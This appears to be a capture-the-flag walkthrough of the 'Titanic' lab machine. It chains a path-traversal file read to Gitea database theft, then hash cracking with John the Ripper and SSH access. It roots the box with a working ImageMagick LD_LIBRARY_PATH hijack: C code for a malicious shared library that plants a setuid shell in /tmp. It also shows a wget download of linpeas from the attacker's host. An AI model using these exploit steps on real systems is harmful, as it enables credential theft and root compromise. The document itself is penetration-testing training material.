Titanic

📺 Visual Solution Available:

Step 1: NMAP Level 1 Discovery

🧠 Perform a fast, efficient port and service scan to start investigation.

nmap --top-ports 1000 -sC -sV --open 10.129.129.221

Table 1: NMAP Scan Results

Service Info:
Host: titanic.htb
OS: Linux
CPE: cpe:/o:linux:linux_kernel

Step 2: Prioritize Service Investigation

🧠 We do not have any knowledge of port 22. We do not have any known users or passwords. Port 80 is most likely hosting a web application we can directly investigate.

Table 2: Service Prioritization

Step 3: Update /etc/hosts

📝 NMAP results show the HTTP service redirects to titanic.htb.

# Add the following line to `/etc/hosts`
10.129.129.221 titanic.htb

Step 4: Automated testing of titanic.htb

🔍 Run automated enumeration tests

1️⃣ File and directory enumeration 2️⃣ Virtual Host enumeration

gobuster vhost -u http://titanic.htb -w ~/wordlists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain --exclude-length 0-500

📝 Virtual host found at dev.titanic.htb

Step 5: Update /etc/hosts

# Add the following line to `/etc/hosts`
10.129.129.221 dev.titanic.htb

Step 6: Manual Investigation of dev.titanic.htb and titanic.htb

🧠 dev.titanic.htb appears to be a git repository hosting provider service, while titanic.htb is running a booking service.

🔍 Use Burp Suite Community Edition proxy to intercept traffic while performing actions on the web applications and detect any interesting behaviors.

Step 7: Path Traversal or Local File Inclusion (LFI)?

📝 Manual investigation reveals the ability to load files from different web server directory locations through manipulation of the ticket parameter when sending a POST request to titanic.htb/download?ticket=.

🧠 This vector is Path Traversal NOT Local File Inclusion. We are able to read files stored in different directories, BUT we are unable to run the files. For example, attempting to open /bin/bash will attempt to output the contents of the binary, but no command is run.

📝 /etc/passwd contains developer user with /bin/bash access

Step 7: Find interesting sensitive files

🧠 Now that we know we can read files with Path Traversal, we need to search for files that may expose sensitive information.

🔍 Gitea is running at dev.titanic.htb. Does this service have any sensitive files? If so, where?

Step 8: Investigate gitea /data directory

📝 gitea has a data directory that stores database and configuration files.

📝 The /data directory is mounted on /home/developer/gitea/data via docker.

🔍 Use path traversal to discover database and configuration files.

📝 gitea.db found

📝 app.ini found

📝 app.ini shows database service is sqlite3

Step 9: Download gitea.db

🧠 It is difficult to read gitea.db with Burp. We should download the file and attempt to read it locally. If we can read files with GET requests via Burp, we should be able to “get” the file with curl.

curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -o gitea.db

Step 10: Investigate gitea.db

📝 The user table has hashed passwords for administrator and developer users.

Step 11: Crack passwords with John the Ripper

🧠 John the Ripper has a tool to convert gitea hashes to a John compatible format

🛠️ gitea2john.py

sqlite3 gitea.db 'SELECT name, salt, passwd, passwd_hash_algo FROM user;' | $HOME/opt/john/run/gitea2john.py > gitea.hashes

john --format=pbkdf2-hmac-sha256 gitea.hashes --wordlist=$HOME/wordlists/Passwords/Leaked-Databases/rockyou-50.txt

📝 developer credentials

🧠 administrator was not in /etc/passwd. It is not a priority to crack its credentials.

Step 12: SSH Login as developer

🧠 Login via SSH with the cracked developer credentials

ssh developer@10.129.129.221

# Obtain User Flag
cat user.txt

Step 13: Host Enumeration Part 1

🧠 We know we are on a Linux system based on nmap output. We can use linpeas to enumerate the system faster. However, we don’t know what architecture this system is on. We need the architecture to select the correct linpeas file to download onto the system.

uname -a

📝 System Architecture is x86_64

🧠 Before attempting to download files to the system, we have to check if we have the right tools, like wget or curl.

wget

📝 wget available

🧠 We can host a python3 webserver on our machine, then download linpeas.sh on the target using wget.

# From Attacker from directory where linpeas.sh can be accessed
python3 -m http.server 8000

# From the Target Machine; use IP for your machine
wget -O linpeas.sh http://10.x.x.x:8000/peass/linpeas.sh

# From Titanic; make linpeas.sh executable
chmod +x linpeas.sh

Step 14: Host Enumeration Part 2 - linPEAS

# From Titanic
./linpeas.sh -a > linpeas.out

🔍 Read through the output very carefully, any interesting information?

# From Titanic
cat linpeas.out

📝 /opt directory not empty

📝 There are scripts/files updated in last 5 minutes

🧠 It appears that the /opt directory has content. Also, there are scripts detected as being updated within the last five minutes. This leads us to believe there might be a regularly running job.

🔍 Investigate /opt directory and available scripts

Step 15: Analyze /opt/scripts/identify_images.sh and other relevant files

📝 identify_images.sh owned by root and executable by everyone

📝 identify_images.sh handles a file in /opt/app/static/assets/images/

📝 /opt/app/static/assets/images/metadata.log is updated every minute

📝 identify_images.sh leverages a tool called magick

🧠 We have never heard of magick before. It appears to be a binary, based on the path in the script. Maybe we can get help information for the tool.

magick

magick -version

📝 Version: ImageMagick 7.1.1-35

Step 16: Is ImageMagick 7.1.1-35 vulnerable?

🧠 It is best practice to investigate the possibility that the installed version is vulnerable to attack.

🔍 Research ImageMagick 7.1.1-35 for vulnerabilities. Any key information or ‘Proof of Concepts’ available?

📝 ImageMagick 7.1.1-35 Security Advisory

Step 17: Identify Appropriate ‘Proof of Concept’ to use on target

🧠 Reading the advisory carefully, the first paragraph indicates that ImageMagic 7.1.1-35 will load library or config files directly from the current working directory if the path variables are not appropriately set. An attacker could create a malicious file in the directory where the binary runs to perform remote code execution.

🔍 Are either of the variables noted in the advisory exposed to this attack vector?

#From Target Machine
echo $MAGICK_CONFIGURE_PATH

#From Target Machine
echo $LD_LIBRARY_PATH

🧠 Both variables are empty, which means both attack vectors are available to us. However, in reviewing the advisory, we see that there is one proof of concept that works regardless of what input is passed to magick.

📝 LD_LIBRARY_PATH is best attack vector

Step 18: Exploit ImageMagick

🧠 To attack LD_LIBRARY_PATH we need to create a library file that will perform remote code execution.

🔍 What is the simplest command we can have our exploit run, based on the limitations of the machine and script?

📝 Copy the sh binary and give it setuid permissions

🧠 A file with setuid permission will run with the permission of the file’s owner. The script that runs magick is owned by root. Therefore, if magick is run by root, and the remote code execution is run as root, output created is expected to be owned by root.

🔍 Which working directory do we need to use?

🧠 From identify_images.sh we see that there is a command cd /opt/app/static/assets/images. This means the working directory where the malicious library needs to be created is /opt/app/static/assets/images.

# From Target Machine
# Inside the working directory of /opt/app/static/assets/images
# Copy, Paste and Enter the following
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /bin/sh /tmp/sh && chmod +s /tmp/sh");
    exit(0);
}
EOF

📝 In most cases, every user can write files to /tmp

Step 19: Privilege Escalation

🧠 identify_images.sh runs every minute. After waiting for the next minute to pass, /tmp/sh is expected to be created.

# With setuid added, run shell in privileged mode;
/tmp/sh -p

# Verify root access
id

# Obtain Flag root.txt
cat /root/root.txt